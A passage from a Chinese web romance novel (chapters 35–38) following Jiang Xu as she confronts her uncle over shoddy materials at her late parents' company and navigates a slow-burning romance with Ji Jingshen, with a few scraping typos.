姜许给自己醒了一瓶红酒,窝进落地窗的贵妃椅中:“又和赵姐吵架了?” “嗯。”秦知瑶小声地点头:“过几天赵姐想安排我和圈子里的几位少爷吃个饭,我,我拒绝了。” 潜规则。 姜许明白了,红酒杯搁置在桌上,她道:“秦知瑶,换个经纪人吧。” 秦知瑶一愣:“季总也说过这话。” 姜许失笑:“你也知道该怎么选不是吗?” 秦知瑶沉默了,又看着姜许:“姜许姐,我可以抱抱你吗?” 姜许没应,她不介意一个拥抱,只是觉得秦知瑶对她,从一开始的喜欢和依赖,未免来得太过唐突和奇怪。 “我有个姐姐,她供我上了大学进了娱乐圈,在我事业好转的时候,自杀了。姜许姐,你很像她。我,我能把你当做姐姐吗?” “……节哀。”姜许静默两秒,主动地抱住了秦知瑶:“我不是你的姐姐,我对你没有那么无私奉献。不过我们之间,可以试着当朋友之上的关系。” “谢谢。”秦知瑶哽咽着,小心翼翼地抱住了姜许,像是在弥补什么遗憾一般:“姐姐,我好想你。” “她也一定很想你,很担心你。”- 两天的度假结束。姜许回到市里,吩咐背哥送唐渺渺和何月回家之后,便直接去了姜家。礼物是随手从姜祁州车里顺的茶叶,找了个包装弄好。 来的路上是姜祁州送她过来的,姜许心神不宁地翻着手机上的消息,眉眼之间有几分烦躁。 民江这两天又上了新闻,前段时间爆出的事情被压了下去之后,恰好赶上最近上头的全面检测。一大堆企业产品不合格,民江倒也不算是最突出的。只是—— 姜广安明明答应过她的。 用心做企业,哪怕是分毫不赚。 “真的不需要我陪你?”姜祁州开了口。 他本意是不去的,只是姜许这个状态,他多少有些担心。 他对于民江没什么太多的感情,可这是姜许父母打拼下来的企业,她因此骄傲过很多年。对于姜许而言,意义不一样。 “不用,你不是还有事?等会前边小区门口放我下车就行。”姜许说,暗灭了手机,又看他一眼:“今晚活动好好姐也在?” 逸安和星好娱乐一起共创的活动晚宴,沈好好是受邀嘉宾之一。 “不清楚。”姜祁州平视前方的车流量,声音低沉:“别瞎打听。” “我这不是担心你?” “没多大事。”姜祁州说。 一段感情罢了,又死不了人。 姜祁州执意要把姜许送到门口,她今天没怎么休息好,下午又被俞晓染拉着玩了一下午,本就没多少的体力更是所剩无几。 姜许也不和他再推脱,只是下车的时候跟他说了句。 “今晚我想吃豆浆油条,晚点我去楼上找你。” “好。” 别墅里难得的热闹了几分,招呼了几个姜广安的朋友,还有姜延河的兄弟们。看到姜许回来,一众人神色各异。 最近一段时间姜许实在算不得低调,加之圈子里的消息本来就传得快,关于她和季惊深的事情早就不是什么秘密。也因此今日有不少是冲着她来的,旁敲侧击了好一会,才点出“逸安”两个字。 姜许起初还给面子的应付两句,到最后,索性谁都不搭理了。 直到饭后,多余的人离开之后,姜许才把手机上面的新闻递到姜广安面前:“大伯,劳烦您解释解释呢?” 姜广安扫了一眼,笑着把热茶递过去:“可能是最近公司里的人不安生,回头我教训教训。” “大伯,我虽然不经商,但您也别把我当傻子。”姜许散了几分笑意,视线略显有几分冷:“为了节省成本用次等材料这事,不是最近才开始的吧?” 姜广安喝着茶,张知雅已经坐不住了:“姜许,你不经商不知道这几年民江的难处,让你联姻也不乐意,让你在季总那边牵线搭桥也不乐意。怎么,你高高在上享受惯了,哪里知道现在公司的情况!” 姜延河也帮腔了几句,嘴里来来回回的无非都是一些下流话。 “咱们民江也能走高端路线,做良心产品。你不是和逸安季董关系不错吗,吹吹枕边风,让他帮帮忙,回头还不是——” 茶杯擦过姜延河的侧脸,里面的茶水散落在地毯上,隐隐还能看到一些不正常的白色粉末和什么凝结物。 “姜许!” 姜许没心思搭理他,依旧看着姜广安:“大伯这是承认了?” 姜广安浑浊的眼里带了几分无奈:“小许,大伯是承诺过你和广随,可是现在和以前哪能一样?做企业的,能有几个良心?推广需要钱,研发需要钱,这东西能用就行。再说了,咱们现在吃的用的,不都是不合格的,也不差这一点。” 说完,他又将一份资料递到姜许面前:“就说纸巾这事,上面罗列了几十家不合格公司。上头能管多久?等这阵风波过去,大家还是照样用最劣质的原材料。我们民江前几年倒是认认真真地做良心产品,结果呢,别家只要宣传好,整出一点幺蛾子就能卖爆。” “小许,民江是做生意的,不是做慈善的。” 道理她都懂。 姜许胸口闷得厉害。 和她爸交好的几个叔伯,都是老国货出身,这几年,破产的破产,被收购的被收购,落不得几个好下场。时代的进步,总要舍弃很多东西。在做企业这一块,最先被舍弃的,大概就是良心。 “你啊,就别管那么多了。民江最近推出的产品不错,回头啊,大伯给你涨点分红。”姜广安继续道。 “不用了。”姜许起身:“今天是您生日,有些话我不想说得太过分。但是民江,从来不是你姜广安的。要么,不存在,要么,做良心国货。” 她爸妈的企业,不能变成现在这个样子。为了钱,什么都不管了。 从别墅里出来,身后跟着姜延河。猛地,姜许的手腕被狠狠扣住,姜延河喝了酒,脾气大得很,扬起巴掌就要扇过来,却被姜许一脚踹上了命根子。 “草!”姜延河骂出声:“你装你妈的清高,我告诉你姜许,要是你爸妈还在,他们现在也不能是什么清高的人。不赚钱,良心?你以为姜祁州的公司就没点恶心东西?我要是你,每年拿着分红老实闭嘴就行,少来高高在上的装圣母!” 姜许低头看着红了的手腕,要是往常,她肯定会再踹上几脚。可是今天,她实在是没那个心情。 要是她爸妈还在。 那姜延河,连碰到她的机会都不会有。 而姜祁州,也不用一个人那么辛苦- 季惊深刚刚结束一个会议。便被在英国的同窗好友谭鑫明带入了一个宴会之中。 宴会热闹非凡,谭鑫明和他许久不见,话题自然是不少。大多数时候都是谭鑫明说,他偶尔应上两句。 “还没考虑?”谭鑫明玩得欢,男女都是来者不拒,和季惊深认识的七八年里,他一直都是一个人。这会老友重逢,他忍不住道:“那边那个,何家的老三,是那个。你要是有兴趣——” “不需要。”季惊深打断他的话。 牵红线不成,谭鑫明尴尬地挠了挠头:“我这不是担心你,你回国你家老爷子不催?” “催了。” 甚至人都送到逸安了。 “行行行,我就不过多操心了。”谭鑫明也不做讨嫌的人,又随口聊了两句:“我明年回国,到时候你得去南江吃我的喜酒。” “好。” 季惊深应下,手机振动。他低头看了一眼,低声道了句“我先出去”,便快步离场。直到走到外头,四下无人,他才接起。 “姜许。” “季惊深,你在做什么?”姜许百无聊赖地推着车在超市里散步。她的视线定格在货架上印着民江LOGO的一排生活用品,声音故作轻快:“在工作吗,会不会打扰你?” “不会,只是参加一个宴会。”季惊深问:“你呢?” “在逛超市。” 季惊深眉眼微动:“买了什么?” 姜许忍不住笑出声,然后一板一眼地看着自己车里的东西:“纸巾,洗衣液,零食……好多好多,回头我把小票发你?” “可以。” “……”姜许沉默了,无奈道:“季惊深,你有点无聊。” 季惊深握着手机的指节用了几分力:“抱歉。” “……也不需要道歉。”姜许很浅地叹了一口气,又错开话题:“那边天气怎么样?” “今天是多云,预计晚上会下一场阵雨。” 一本正经的,姜许“嗯”了一声,又继续拉着话题:“宴会好玩吗?” “一般,我没什么兴趣。” “吃的是什么,味道怎么样?” “姜许。”季惊深突然喊她的名字:“我们视频吧。” “嗯?” “我感觉你似乎不开心,我想亲自确认。” 第36章 第36章【VIP】 季惊深在察言观色方面一直很敏锐,可姜许也没想到,只是闲聊的几句话,就已经把她此刻的情绪暴露。 握着推车的手收紧了几分,姜许撒谎:“没有。” 季惊深远赴英国,那边要处理的事情很多。她打这通电话的本意只是想听听他的声音,没打算在这个节点让他分神去关注自己的心情。 “视频,姜许。” 这次男人的声音从手机那端传来,带着几分不容置疑。 “……我在超市。”姜许嗓音无奈,乖乖承认:“好吧,我今天心情是有点不好。” “民江的事?” 季惊深这会人不在国内,但是圈子里的事,他的消息一向灵通。这次网上曝光的事情闹得很大,被点名通报的企业不少。北安在一众企业之中,不算显眼,可他也看到了。 “是。”姜许承认,声音更闷了几分:“季惊深,你会哄人吗?” “不会。” 意料之中的回答,姜许不意外,却又听到季惊深继续说:“我可以学。” “姜许,我怎么做,你能开心一点?” 一本正经的提问,反倒是让姜许愣了一下。她没有教过任何人哄她,大多数时候,她有姜祁州和江小满照顾着情绪,不开心了就发脾气,闷了就去逛街。至于怎么哄她—— “不用了,我开玩笑的。” 她很少会将这种情绪带过夜,回家喝两杯小酒,看一场电影,也就很快过去了,并不需要季惊深分神特地去哄她。 姜许的原意是这样。可是到了季惊深耳中,却全然变了一个意思。 他有点无聊。 也不会哄人。 在此之前,他从没觉得在情感事情上没什么经验是什么难以启齿的事,此时却变成了很细小的一根针,刺进心口。 季惊深轻轻地“嗯”了一声:“我回去给你带礼物?” “好。”姜许笑,手机进了短信,是姜祁州的。他已经到家了,活动结束得很快,豆浆油条也买好了。她着急回去,推车到了收银柜前:“我准备结账了,得先挂了。” “好。”季惊深敛了敛眸,语气低沉:“有什么事,可以随时给我打电话。” 姜许挑眉,视线落在不断上涨的金额上:“不了,你那边的事情也得处理,真有事的话,我找姜祁州就行。” “也好。”季惊深说。 电话挂断,季惊深握着手机沉默良久。直到谭鑫明出来找他,瞧见他发呆之后,喊了声他的名字,他才回过神来。 “电话打完了?”谭鑫明笑问了一句,宴会实在是无聊得很。他订了婚,多少得收敛着。这季惊深要是还不在,他倒不如回家睡觉。“北安那边生意出事了?怎么一脸沉闷。” “没有。”季惊深稍稍抬眸,神色平静得仿佛谭鑫明刚才看到那一抹很浅的阴郁沉闷是他的错觉一般:“结束了?” 谭鑫明忍不住翻了个白眼:“这才几点,晚上麦伦先生会过来。你这次的目标不就是他吗,上个月我大哥和他刚谈成一笔生意,我也算是露了个脸,等会我陪你一起。” “嗯。”季惊深面色依旧淡得冷漠,顿了两秒,声音温浅了几分:“辛苦。” “你少来,我们之问不说这种。”谭鑫明有被气到,认识好歹七八年了,他被家里赶出来那两年,吃住都是在季惊深家里的。早就是兄弟了,顺手帮个忙的事,能有什么辛苦的。 季惊深见状,眸色稍暖,和他一同再次进入到宴会场中:“你经验多,平时都是怎么哄女生的?” 谭鑫明扭头,满脸不可置信:“你要哄你妹?” 这话说得有些难听,他轻咳了两下:“你惹你妹妹生气了?大的那个还是小的那个?” “都不是。”季惊深说,又补充一句:“没有惹她生气。” 谭鑫明更惊讶了:“什么情况?” 回应他的是一个警告的眼神。 季惊深从来都不喜过多透露自己的事情,谭鑫明只得摸了摸自己的鼻子:“其实也简单,宝贝长宝贝短的哄一哄,说一些浪漫话,转转账之类的。” 季惊深听得蹙眉,只觉得开口问谭鑫明是一个不怎么正确的选择。 “还没到那步?”谭鑫明察言观色的能力一直不错,又赶紧提了其他的建议:“那就买花,送礼物。要贵的,越贵越好。对了,这会国内不是夜晚吗?睡前给她讲个睡前故事,再说一声晚安,切记,声音温柔!” 季惊深默默记下。 送花,选项很多,姜许适合红色,他想亲自送过去。 “睡前故么神话故事,估计人家早就听腻了。这样,你把自己的过往当成故事来讲, “……” 窝到了十一点。 夜宵过后有些晕碳,趴在沙发上怎么都不想起来,一只脚还大咧咧绒脑袋。这猫是姜,胖乎得很,也不怕人。 “打算什么时候回去?”姜祁州从浴室出来,看到的就是姜许懒洋洋打算赖在他家的样子。 “再靠一会。”姜许哼唧两声。 “随你。”姜祁州也不搭理她,自顾自的打开财经频道,又看了一眼被姜许折腾的乳白,伸手捞了过来:“你别欺负它。” 她哪有。 明明是这小家伙主动把脑袋凑过来蹭她的脚好不好? 姜许懒得反驳。这猫在姜祁州心中的地位高得很,之前无聊她想借养一段时问,姜祁州怎么都不松口。哪怕是出差,家里也会有阿姨上门照顾,生怕饿着渴着。 百无聊赖地看了会手机,在三人群里和江小满季惊扬聊了会天,置顶的头像弹出来一条消息。 【方便视频吗?】 姜许直接起身:“我先走了。” 姜祁州看她一眼,眼里闪过几分了然:“别聊太晚。” 回到自己的大平层中,姜许这才回复季惊深:“等我一十分钟。” 她要洗个澡,沙发上猫毛太多,蹭得她满脸都是。 从浴室出来后,极简的护肤,等窝上床之后,已经是十一点半了。回了一个“可以了”之后,不到一分钟,季惊深的视频打了过来。 画面接通的瞬问,那头似乎是在走廊上。天光大亮着,依稀可见他身后远处的宫殿。 季惊深穿着正装,银灰色的西装,发型是特地打理过了,背头的设计,额头全部露了出来,莫名地让姜许有一种冲动。 未免太过欲感了些。散了平时的冷淡,那张脸在视频中冲击着,满屏荷尔蒙的气息。 四目相望,双双沉默。这次主动破冰的是季惊深。 “要睡了吗?” “嗯,差不多了。”姜许在撒谎。 除了第一天要工作之外,姜许基本都是熬夜党,不到一两点绝对不舍得放下手机。 季惊深自然也听得出来,没拆穿她拙劣的谎言,而是顺着道:“那就乖乖躺下,给你讲个睡前故事。” 姜许:“?” “怕你睡不着。”季惊深解释。 他的确无趣,不懂得哄人,连话题的展开,都生硬到了极致。 姜许被这笨拙的反应逗得笑出声来,她找了个不会挤压脸变形的姿势躺下,继续看着手机里那一方小小的季惊深:“季惊深,你不忙吗?” 自然是忙的。 刚刚处理了一份紧急文件,等会还有合作要谈。晚一点和逸安会有个视频会议,不出意外的话,今天怕是要忙到凌晨。 “还好。”季惊深说:“陪你打个视频的时问总是有的。” “好啊。”姜许唇角含笑:“那你说吧。” 季惊深说的并不是什么睡前故事,而是他童年的过往。很普通,很普通的一次,和方厌出去玩的经历。 他的嗓音很低,像是在刻意降低音量。 姜许安安静静地听着,逐渐阖上眼睛。 “姜许?”声音更低了,像是怕吵着她一样。 “没睡着呢。”精气神十足的回应,半点睡意都没有。 季惊深静默片刻:“那我再讲一个——” “噗嗤。”姜许实在是没忍住,懒懒地抬眼:“现学的,哄小姑娘的方式?” “是。” 平静而又认真的回答,没有半点被发现的窘迫:“姜许,我希望你开心。” 夜晚寂静,房问里开了空调,裸露在外的小腿被吹得泛起了一丝凉意。姜许的呼吸在这一刻,停顿了几秒。 薄薄的窗户纸近在眼前,仿佛一捅就破。 “季惊深,你是不是——” 她的话被那头的说话声打断。 “惊深,我找你好久了。”谭鑫明的说话声一顿,匆匆一撇看到画面之中似乎是个女生—— 画面中断。季惊深淡淡地督了一眼谭鑫明,后者脚步顿住,停在和他两三米的距离。他这才低头重新点开对话框。 【有点工作上的事情要处理。】 【姜许,不要熬夜,早点睡。】 合上手机,季惊深抬起眸:“什么事?” “也没什么,大学几个朋友都来了,想和你喝一杯叙个旧。”谭鑫明笑道,暧昧地挤了挤眼:“哪家千金?我说怎么到处找不到你,原来是偷偷躲在这里和小姑娘打视频呢。” 季惊深督他:“过去吧。” 谭鑫明这会正是心痒难耐的时候,追着季惊深问个不停:“到底哪家的,我认不认识?你们到哪步了?我跟你说,你不能一直这样,现在小女生都喜欢会照顾人又温柔的。你对学会对人家好,不然哪天被人挖墙脚了——” 他后面的话生生卡在喉咙里不敢再说半个字。 男人黑眸阴沉,卷不开的阴郁在墨色的眸子里散开,沉得可怕。 “我,我开玩笑的。”谭鑫明磕磕绊绊地给自己找回旋的余地:“你有这张脸,家世又好,人家姑娘肯定对你死心塌地。” 回应他的,只有死寂一般的沉默- 姜许在第一天中午收到了一大束的玫瑰花。 贺卡上没有署名,只有一句简单的—— 赠姜小姐,愿你今日开心。 浓郁的花香扑鼻而来,姜许好心情地找了个大花盆摆弄好,低头给季惊深发了消息。那头没有立马回复,按照时差,那边的季惊深应该在休息。 直到两个小时后,才收到了季惊深的回复。 【喜欢吗?】 【喜欢。】没有女孩子会不喜欢收到花。 【那以后每天都会有花。】 姜许盯着这行字好一会,昨晚被打断的思绪重新提了起来。她委婉的,却又用一种足够让他明白的意思发去了一行字。 【季先生,你怎么比我这个追人的还主动啊?】 那头显示正在输入中—— 十几秒后。 【嗯,平生第一次。怕姜小姐嫌我无趣,所以得主动点。】 “……” 她要的压根就不是这个回答好不好。 不过算了,她更喜欢当面问。 吃过了午饭,姜许和季惊扬一同去了LS。 答应给俞晓染的生日礼物得提前预约,姜许也算是LS的老熟客了,一到地方,经理便熟练地吩咐下去。三分钟后,几十号风格各异的男人整整齐齐地站在姜许的面前,为首的依旧是周知禹。 一段时问不见,他似乎更消瘦了些,眉眼低垂着,透着几分死气沉沉,却又在望向姜许的时候,露出几分温柔。 “姜许姐,咱们点几个啊?”季惊扬左看看右看看,眼神警惕地看着姜许。 他傻归傻,但又不是真的什么都不懂。他哥难得铁树开花,这会人不在北安,他作为亲弟的,得有义务帮他守住姜许。 “十八个吧。”姜许审视着,照例留了周知禹后,又在一圈人之中挑了十七个,回头看向经理:“要准备的清单我回头让人发给你,可别搞砸。否则俞大千金发起火来,把LS砸了我可救不了。” “那是一定,一定。”经理擦了擦汗,又道:“那今儿个……” “周知禹留下来,其他人都出去。”姜许发话。 包厢里瞬问空荡起来。 姜许又扫了一眼盯着她的季惊扬:“你也出去。” 季惊扬瞪眼,却也只能憋屈地摸了摸鼻子,离开了。 “坐。”姜许随手指了个位置,不多废话:“你家里的事,打算一直这样?” 周知禹沉默。 她和周知禹相识也有三四年了,他陪着自己的时问不短,算得上是提供了三年情绪价值的男人。她不多管闲事,只是这终究是一份情谊。 于是姜许说:“我可以帮你一次。” 当然,他也可以拒绝。 周知禹安安静静地看着她,聪明如他,听出了一丝决绝的意味。她往后不再需要自己,这一次,承了她的恩,他们之问,不会再有交集。 “你慢慢考虑,下次见面时给我回复。”姜许起身—— “姜小姐,能不能麻烦你,给我介绍个律师?” 姜许回头看他:“只是这样?” “这样就够了。” “好。”姜许轻笑:“周知禹,你真的很可惜。” 有这样的聪明才智知进退的能力,不应该没落在这个地方。 “并不是,我已经很幸运了。”周知禹笑了笑:“姜小姐,多谢你这几年的照顾。” “不用。” 她图周知禹给的情绪价值,周知禹得到相应的报酬罢了。 出来后,姜许看向生闷气的季惊扬,没好气地上前拍了人的脑袋:“瞪死鱼眼给谁看?” 季惊扬更憋屈了,小声地问:“姜许姐,你不会老毛病又犯了吧?” “什么老毛病?” “……他们都是花言巧语,你别被骗了。我哥就是不会哄女生,但是做事起来一点都不差。” “我知道啊。”她感受得出来。 季惊扬还是担心:“那……” “少操心那么多,你不是快期末考了吗?怎么,真打算一天创造一个奇迹?”姜许凉凉地瞥了一眼。 季惊扬得意得很:“我们期末考就两门,其他都是大作业。” “那两门考什么?” “工图和毛概。” “毛概你背完了?” “没啊,开卷考我背什么,到时候直接抄就好了。” 姜许神色更复杂了:“今年改了闭卷,你没看?” 她加有苏观明的微信,正好是季惊扬就读大学的教授。前几天扫了一眼,看到朋友圈里有提到过。 “不可能吧……”季惊扬心慌地掏出手机,翻出专业大群里被各种“1”和“收到”冲上去的艾特全体成员通知消息后,发出了尖锐的爆鸣声。 “我靠!!!!”- 半个月一晃而过。 姜许的生活滋润,工作安排不忙,除了下周安排秦知瑶那边的拍摄之外,其他都是一些零零散散的工作。 毕竟天气逐渐热了,不管是室内还是室外,拍摄都太费人,她索性跟唐渺渺吩咐了一嘴,给她开启半休假模式。当然,一些小的拍摄,何月他们要是愿意接,能自己独立完成的,她自然不会管。 前晚收到季惊深的消息,他今晚回到季家老宅。不巧的是,恰好碰上了俞晓染的生日。姜许一整天都得陪着死妮子,抽不出空。 【好。正好我今晚好好休息,替我向俞小姐道一声生日快乐。】 姜许低头回复着消息,江小满的脑袋探了过来:“跟季总聊天呢?” 她被吓了一跳,无奈地把江小满的脑袋挪开,又扫了一眼她身上的装扮:“又是黑西装裙,江小满,这里是来玩的,不是你加班的地方。” “那我不是刚从公司那边过来嘛。”江小满轻叹。 姜许弯腰折回车里,拿了件性感的吊带长裙递给她:“你穿这个。” “会不会有点露——” 回应她的是姜许的白眼。 “当年我玩得最欢的那年,胸口低到能直接心脏手术,裙口岔开到腿根,这算什么露!”姜许伸手,在她胸前摸了一把:“这么好的身材,可别浪费了。” 江小满轻咳一声,视线落在姜许白皙的锁骨上,小声道:“在你面前,谁敢说身材好。” 她只是瘦,加上发育那几年家里条件苛刻,胸前几乎没什么肉。姜许则不同,她不追求骨感美,时不时会练瑜伽,属于那种有肉到恰到好处的程度。 姜许笑眯眯地摸着她的下巴:“咱们小满,哪哪都好。” “哦,那你决定无法自拔地爱上我,并且抛弃你的季总了?” “那不行。” “呵,女人。” 点的男模实在是太多,索性把LS的前厅一整个包下来。除了姜许和江小满之外,还请了圈子里一些塑料姐妹花。大概是甚少这么放纵,热热闹闹的一片,伴随着唱跳声,有些震耳欲聋。 手机振动,是季惊深发来的消息。 【到老宅了,今晚玩得怎么样?】 还行。姜许最近心情调整得不错,刚刚和俞晓染对打了两场,罕见地赢了。要不是念在她是寿星得给些面子,她得赢个大满贯。 【还不错,挺热闹的。】 夏夜燥热,季惊深只穿了件黑色衬衫,袖口处被挽到了手臂上,露出一小节精瘦有力的手腕。 他垂眉看着这条消息,眸色渐深。 LS会所逸安入股了大半,之前去过几次,胡泽便打点过。今晚LS那边是个什么场景,他在落地后便已经看到了视频。 男模,脱衣舞。 这是俞晓染的生日场,对于她们而言,大概只是一种庆祝的方式罢了。什么都不会做。LS并不提供这种服务。 “季总,我先送您回别院。”胡泽从老宅开了车出来,恭敬地道。 “嗯。”季惊深淡淡地应下,等到车子开到大路之上,却碰上了非机动车道的一起车祸。烦躁不安的情绪随着绿化带右边传来的喇叭声,越发的燥郁。 “掉头。”季惊深说:“去LS。” 第37章 第37章【VIP】 季惊深到达LS时,里面正是狂欢的时间段。 前厅墙壁上挂着各色各样的气球,最上方显眼地悬着俞晓染的名字。而一眼望过去,最为抢眼的当属半裸上半身的男人在舞池中间,肆意地扭着胯。 音乐声,尖叫声,夹杂在一起,喧闹而又嘈杂。 季惊深的目光从他们身上粗粗略过,最后*定格在了角落处的姜许身上。 大概是为了配合今日的氛围,她穿得分外性感。单薄的黑色吊带裙,头发盘了起来,眼妆更精致了不少。纤细的手指握着一杯酒,在和身侧的男人说着话。 她的神态很是放松,嘴角还挂着几分愉悦的笑意。也不知道他们聊了什么,姜许微微抬眼,像是逗弄一般,将酒递到周知禹嘴边,停留几秒,又很快收回。 “没闻出来?” 姜许浅笑:“带着一点葡萄的味道,周知禹,你这鼻子,怎么没有以前灵了?” 今晚场上姜许不是主角,对这种裸男跳舞兴致也不高。只是俞晓染的生日局,她多少要给点面子。 走不了,不想参与,那就只能找个人陪自已在角落里解闷,也不至于显得像上次一样,自已一个人显得一点也不松弛。 桌面上的酒不少,姜许浅尝了两口,味道不错。打了记下配方回头自已弄弄的主意,结果周知禹掉了链子。 “最近感冒了,抱歉姜小姐。”周知禹的声音里的确带着几分鼻音,只不过周围的声音太大,不仔细听发现不了。 “那算了。”姜许又品了一口,百无聊赖地瞧着他:“辞职之后打算做什么?” 周知禹的辞职也在她的意料之中,家里那点破事解决了,他自然是不愿意再继续呆在这里。 “这些年攒了点钱,大概会努力考个大学,后面的事,走一步看一步。”周知禹抿了抿唇,有些腼腆地笑了笑:“原本是打算试一试锐安的,文凭这里就卡住了,专业也不对口。” 姜许不由得撇了撇嘴:“你眼光不行啊,姜祁州是周扒皮,让你加班到吐的那种资本家。” 当然,姜祁州自已本人比谁都卷。 “加班有钱,比很多老板好很多了。”周知禹说:“待遇也不错,努努力或许能在几年内攒个首付。” “那你可得努力了。”姜许失笑。最近几年北安的房价越发的恐怖,她那套老破小虽然地理位置各种都一般,到现在怎么说也还有个两三百万。 “也有走捷径的路。”周知禹捏着手,忐忑又语气开玩笑地道:“姐姐包养我,我在家乖乖地做你的金丝雀。” 姜许握着杯子的手一顿,也跟着他笑:“真这样的话,你未来的老板绝对会把我家给砸了的。” 周知禹眉眼一垂:“那还真是可惜了。”他抬眼,却瞧见了不远处站在的男人。 他站在走廊和电梯的交界处,眼眉被黑暗笼罩,看得不太真切,唯有微微抿着的薄唇,透露了他此刻的心情。 最后贪心地和姜许碰了杯,周知禹说:“姜小姐,季总来找你了。” — 从俞晓染和江小满那里脱身,姜许差点脚步都站不稳。 五杯酒跟着灌下,要不是她求饶,俞晓染那死妮子绝对不打算放过自已。 酒喝得急,脑袋是清醒着的,就是脚步有些飘忽。 走近季惊深时,姜许掐了掐自已的手心,强迫自已清醒,朝他歪头笑了笑:“不是说今晚在家好好休息吗?” 季惊深扫了一眼她裸露的肩头,微微蹙眉:“结束了?” “算是吧。”姜许说,泛着水意的眸子蕴着几分抱怨:“看见你来了,我哪还坐得住。这不,她们都说我重色轻友。” 季惊深:“那现在我送你回家。” 他的语气稍显冷淡,姜许幽幽地看了季惊深几眼。后面依旧是闹声一片,只得按下不提,朝他轻点了头。 已经是入夏,从LS出来,迎面吹来的都是燥热的风,和室内的温度截然不同。姜许已经缓和了过来,跟着季惊深上车之后,又从包里翻出几颗薄荷糖。 冰冰凉凉的味道在舌尖上蔓延开来,压下了急酒的醉意。 姜许望向身侧的季惊深。 他今天的情绪不太对劲。 平时话少,可也没有到这种地步。 逸安的事不顺利,还是累着了? 姜许主动破冰:“工作上的事情还顺利吗?” “嗯。”? “还好。”季惊深声音依旧淡得有几分漠然,他的目光落在姜许身上好一会,微微软了几分:“刚才你们在聊什么?” 怎么她一副全然放松,眉眼含笑的愉悦模样。 他想起自已费尽心思哄睡的那个夜晚,姜许都没有露出过这样的神情。 “就是闲聊几句。”姜许说,又生怕季惊深觉得自已敷衍,补上一句:“周知禹辞职了,打算继续读书,我们就顺着聊了几句。” “他足够聪明,继续读书的惊深淡淡地道。 ,才二十出头的年纪,是该读书的。” 话落,姜许又察觉到那道黑眸神色复杂地落在自已身上,情绪晦暗不明。 情绪反复被挑起又得到那么一点点的安抚之后再次被高高悬挂着,姜许有些烦闷,她伸手抓住季惊深的衣袖。 男人没有挣开。 “季惊深,你是不是在吃醋?” 思来想去,只有这种可能。一边来接她不拒绝她的靠近,一边又微微沉着个脸,不愿意过多交谈的样子。 别扭,言行不一。归结为只有一个理由。 扣着他衣角的手没有用几分力道。姜许又换了一款美甲,很漂亮的黑色,和她今天的这一身,很是搭配。 他不清楚此时的自已,是吃醋介意多一点,还是烦躁不安多一点。 “姜小姐,你喜欢我什么?” 问题又抛到了姜许这边,她也早就习惯了,不假思索的回答:“长得好看,家世好,性格温和。反正,都喜欢。” 很标准的回答。浮于表面。 她喜欢着的,是披着风度翩翩外表的季惊深。 那如果是一个,不会哄她开心,无趣,偏执,又疯狂的季惊深呢? “那轮到你回答我的问题了吧?”姜许的手指顺着季惊深的腕口往上,直至拽住男人的衣领处。 她很喜欢在感情里这种掌握主动权的姿势,迫使着季惊深和她对视。姜许神色认真:“你吃醋了?” 季惊深良久地凝视她,忽然沙哑地问:“如果我说是呢?” 姜许怔了下。哪怕这个答案已经被她猜到,可是被季惊深这么直白而又坦率的说出来,又是另外一个感觉。 攥着衣领的手指松了两分力道,姜许又复而收紧,带着酒味的呼吸温吐着:“季惊深,要试试吗?我们,交往。”- 姜许几乎是通宵。 本来酒精上头应该是秒睡,偏偏因为季惊深那事,一整夜鏖战。直到江小满被俞明礼送到她家门口,她扶着烂醉如泥的江小满简单地洗漱过后,两人一起倒头就睡。 直到傍晚,她被姜祁州的电话吵醒。 “一天不回消息,去哪玩了?”姜祁州问她。 “没有,在睡觉。”姜许的嗓音里还带着未褪的倦意:“什么事?” “我要出差几天,张姨回老家了,这几天你帮我照顾团团。猫粮和猫砂都在它的房间里,记得水质也得检查,有猫毛的话要给它换水。” “……知道了。”姜许挂断电话,转头就对上江小满同样初醒的眼睛。 同时闭眼,几分钟后,再次睁眼。然后拖着熬了通宵的疲倦身躯起身洗漱,点外卖。 在听到姜许第两百零八次叹息之后,江小满忍不住了:“不就是被拒绝了吗?多大的事,继续追呗。” 姜许撇她一眼,烦躁:“这不是被拒绝的问题,是我搞不懂他到底在想什么。” 明明两个人之间就差一层窗户纸,姜许也不介意主动到底。可偏偏季惊深承认在吃醋,行为也说明对她不可能一点意思都没有。结果偏偏就是不答应。 “所以你打算怎么办?”江小满只关注这个:“及时止损还是撞破南墙?” “冷处理几天吧。” 这次拒绝让姜许受挫不少。 大概是习惯了季惊深对自已独一份的纵容,无论自已做什么事他永远都是温柔以待。以至于昨晚,她也势在必得。 甚至在昏暗的车内,姜许能清楚地看到男人的喉结随着她放肆的动作轻轻滚动着。黑眸在一点点地染上情欲,却又克制认真地拒绝着她。 “抱歉,现在不合适。” 现在不合适,什么时候合适? 姜许想不清楚季惊深。 他们似乎很难同频。 在最开始姜许对季惊深避之不及时,他频频出现。反倒是现在这会就差一句话的事了,季惊深却又退开了。 “你们就是一个个的想得太多。”江小满吐槽了两句,又怕姜许真的难受,补了一句:“我最近休年假,陪你几天。” 姜许“嗯”了一声,望着手机上置顶的头像,犹豫许久,还是什么都没发过去。 难得的闺蜜时光,姜许每天和江小满疯玩到凌晨。要不是还惦记着楼上有个胖猫等她照顾,估计是机票已经买好,不知道飞往哪去了。 等到重新回到工作状态之后,光是早起,就差点要了姜许的半条命。催促的电话打了好几个,姜许踩着点达到地方时,秦知瑶还没来。 拍摄场在室内,地方很宽,场景还剩下最后一些细节的完善。而最左边的位置,高挑的男人安静地坐着,眉眼温温和和的,在和身侧的人交谈着什么。 “姜许姐。” 何月喊了一声她的名字。 厅内实在不算是安静,可偏偏那人就是听到了。视线越过众人,直勾勾地落在自已身上。 姜许脚步微顿,然后大大方方地走了过去:“好久不见,黎大明星。” 第38章 第38章【VIP】 的确是很久没见。 从她和黎江青分手之后,那个冬季他们见过一次面。彼时黎江青刚刚斩获一个新人男演员奖,他来求复合。男人穿得很正式,手上捧着的戒指亮钻很大,是tiffan的定制款,三百多万,差不多是他一部剧的所有片酬。 北安的雪不断飘落,姜许只是望向对面商城的大屏幕。黎江青和别的女人的亲昵海报挂在上面,分外惹眼。 注意到她的视线,黎江青脸色有一瞬间的尴尬,匆忙解释着。这只是拍摄需要,不会有绯闻,不会有炒作。姜许至始至终都是敷衍地应着,娱乐圈嘛,能坚持不染尘土的,能有几个。 “不了黎江青。”她说:“结束就是结束了。” 此后两年多,黎江青星途璀璨,她依旧当着她的姜大小姐,再无任何联系。 偶尔的,也能在电视和抖音上刷到过他的消息。成熟了不少,衬得身上那股温润的气质越发得贵气起来。此时看向她的眉眼,也是温温和和的:“嗯,好久不见,姜大摄影师。” 